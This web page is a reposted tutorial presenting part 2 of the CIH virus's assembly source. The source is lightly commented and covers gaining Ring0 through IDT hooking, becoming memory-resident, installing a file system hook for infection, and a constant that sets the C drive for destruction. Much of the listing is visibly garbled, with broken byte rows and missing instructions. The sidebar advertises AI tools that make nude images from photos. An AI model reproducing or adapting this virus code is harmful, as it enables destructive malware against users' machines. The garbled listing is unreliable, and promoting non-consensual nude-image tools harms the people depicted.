Home Backend Development PHP Tutorial Analysis of virus program source code examples-CIH virus[2]

Analysis of virus program source code examples-CIH virus[2]

Jan 17, 2017 am 11:15 AM

Analysis of virus program source code examples-CIH virus[2]

OriginalAppEXE SEGMENT
 
 ;PE format executable file header
 FileHeader:
 db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
 db 004h, 000h , 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009 h, 0cdh
 db 021h , 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 0 63h, 061h, 06eh, 06eh , 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
h, 005h, 000h, 000h, 010h , 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

 db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
 db 000h, 000h, 000h, 000h, 002h , 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
, 000h
 db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h , 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
## db 000h, 000h, 000h , 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h , 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 01 0h, 000h, 000h, 000h, 010h, 000h, 000h
 db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h , 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
 db 000h , 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
, 000h, 000h, 000h, 000h , 000h
 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize

OriginalAppEXE ENDS

; Virus program starts
TRUE = 1
FALSE = 0
DEBUG = FALSE

 
 IF DEBUG;Whether to debug?
 FirstKillHardDiskNumber = 81h;Destroy the D drive
HookExceptionNumber = 05h ; Use interrupt number 5
ELSE
FirstKillHardDiskNumber = 80h ; Destroy C drive
HookxceptionNumber = 03h ; Use interrupt number 3
ENDIF
 
FileNameBufferSize = 7fh
 
 ;Virus code segment begins
VirusGame SEGMENT
 
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
# MyVirusStart:
push ebp

; Modify system exception handling to avoid generating error messages
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax , fs:[ebx]
 
call @0
 
 @0:
 pop ebx; Get the starting offset of the program, use this offset + relative offset to get the absolute Address
Lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

; Modify the interrupt description table to obtain the highest Ring0 level authority
push eax
sidt [esp-02h] ;Get the base address of the interrupt description table to ebx
 pop ebx;
 
 add ebx, HookExceptionNumber*08h+04h;Calculate the base address of the interrupt to be used to ebx ## cli;Turn off interrupts before modifying
 
 mov ebp, [ebx];Get the base address of exception handling
 mov bp, [ebx-04h];Get the entry
  
 lea esi, MyExceptionHook-@1[ecx]
 
push esi; esi is the virus interrupt routine address
 
mov [ebx-04h], si;
shr esi, 16; modify the exception
 mov [ebx+02h], si;Modify the interrupt base address to point to the virus interrupt routine
 
 pop esi
 
 ;Generate an exception that enters ring0 level
 int HookExceptionNumber;To Enter Ring0 level through interruption
ReturnAddressOfEndException = $
 
 ; Merge all virus codes
push esi
Copy
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]

rep movsb ; Copy the virus code to the first address of the allocated system memory
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection ;Copy the next section

 
 ; Save exception handling
 ReadyRestoreSE:
 sti;Open interrupt
 , the virus will stop running and jump directly to the original program
StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
 
 RestoreSE:
 pop dword ptr fs:[ebx]
 pop eax
 
 ; Jump to the original program and execute normally
 pop ebp
 
 push 00401000h; Push Original
 OriginalAddressOfEntryPoint = $-4;Push the starting address of the original program onto the stack
 ret;Return to the beginning of the original program in the form of a subroutine return
 ;Virus Initialization module
MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ; If the virus code has been copied
; Go to the program to install the system hook

mov ecx , dr0 ; Check whether dr0 has been set (dr0 is the virus residence flag)
jecxz AllocateSystemMemoryPage ; If not set, allocate system memory

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

 ; Return to the original program
ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ; Restore the original interrupt Base address
 
 iretd;Interrupt return ;
push ecx ;
push 0ffffffffh ;
push ecx ;Call method ULONG EXTERN _PageAllocate(ULONG nPages,
, ULONG *PhysAddr,ULONG flags);
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ;dd 00010053h ;Use eax, ecx, edx and flags registers
Add esp, 08h*04h ;Restore the stack pointer
, MyVirusStart-@2[esi] ;eax points to the start of the virus
 
 iretd;Exit interrupt
 
 ;Initialize the file system hook
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6 [edi] ;Point to the first address of the file system hook program
 
 push eax;
 int 20h; Vxd calls IFSMgr_InstallFileSystemApiHook
 
 mov dr0, eax;Save the original file system hook program first address to dr0
pop eax;eax is equal to the file system hook program first address
 
;Save the original IFSMgr_InstallFileSystemApiHook function call Entry
 mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
 mov edx, [ecx] ; edx is the entrance of IFSMgr_InstallFileSystemApiHook  
  mov OldInstallFileSystemApiHook-@3[eax], edx  
 
 ; Modification IFSMgr_InstallFileSystemApiHook entry
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ; Set the address of the new IFSMgr_InstallFileSystemApiHook function call
; Make it point to InstallFileSystemApiHook
cli ; Turn off interrupts



The above is the content of virus program source code example analysis-CIH virus [2]. For more related content, please pay attention to the PHP Chinese website (www.php.cn)!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Working with Flash Session Data in Laravel Working with Flash Session Data in Laravel Mar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

Build a React App With a Laravel Back End: Part 2, React Build a React App With a Laravel Back End: Part 2, React Mar 04, 2025 am 09:33 AM

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

Simplified HTTP Response Mocking in Laravel Tests Simplified HTTP Response Mocking in Laravel Tests Mar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

cURL in PHP: How to Use the PHP cURL Extension in REST APIs cURL in PHP: How to Use the PHP cURL Extension in REST APIs Mar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

12 Best PHP Chat Scripts on CodeCanyon 12 Best PHP Chat Scripts on CodeCanyon Mar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Notifications in Laravel Notifications in Laravel Mar 04, 2025 am 09:22 AM

In this article, we're going to explore the notification system in the Laravel web framework. The notification system in Laravel allows you to send notifications to users over different channels. Today, we'll discuss how you can send notifications ov

Explain the concept of late static binding in PHP. Explain the concept of late static binding in PHP. Mar 21, 2025 pm 01:33 PM

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

PHP Logging: Best Practices for PHP Log Analysis PHP Logging: Best Practices for PHP Log Analysis Mar 10, 2025 pm 02:32 PM

PHP logging is essential for monitoring and debugging web applications, as well as capturing critical events, errors, and runtime behavior. It provides valuable insights into system performance, helps identify issues, and supports faster troubleshoot

See all articles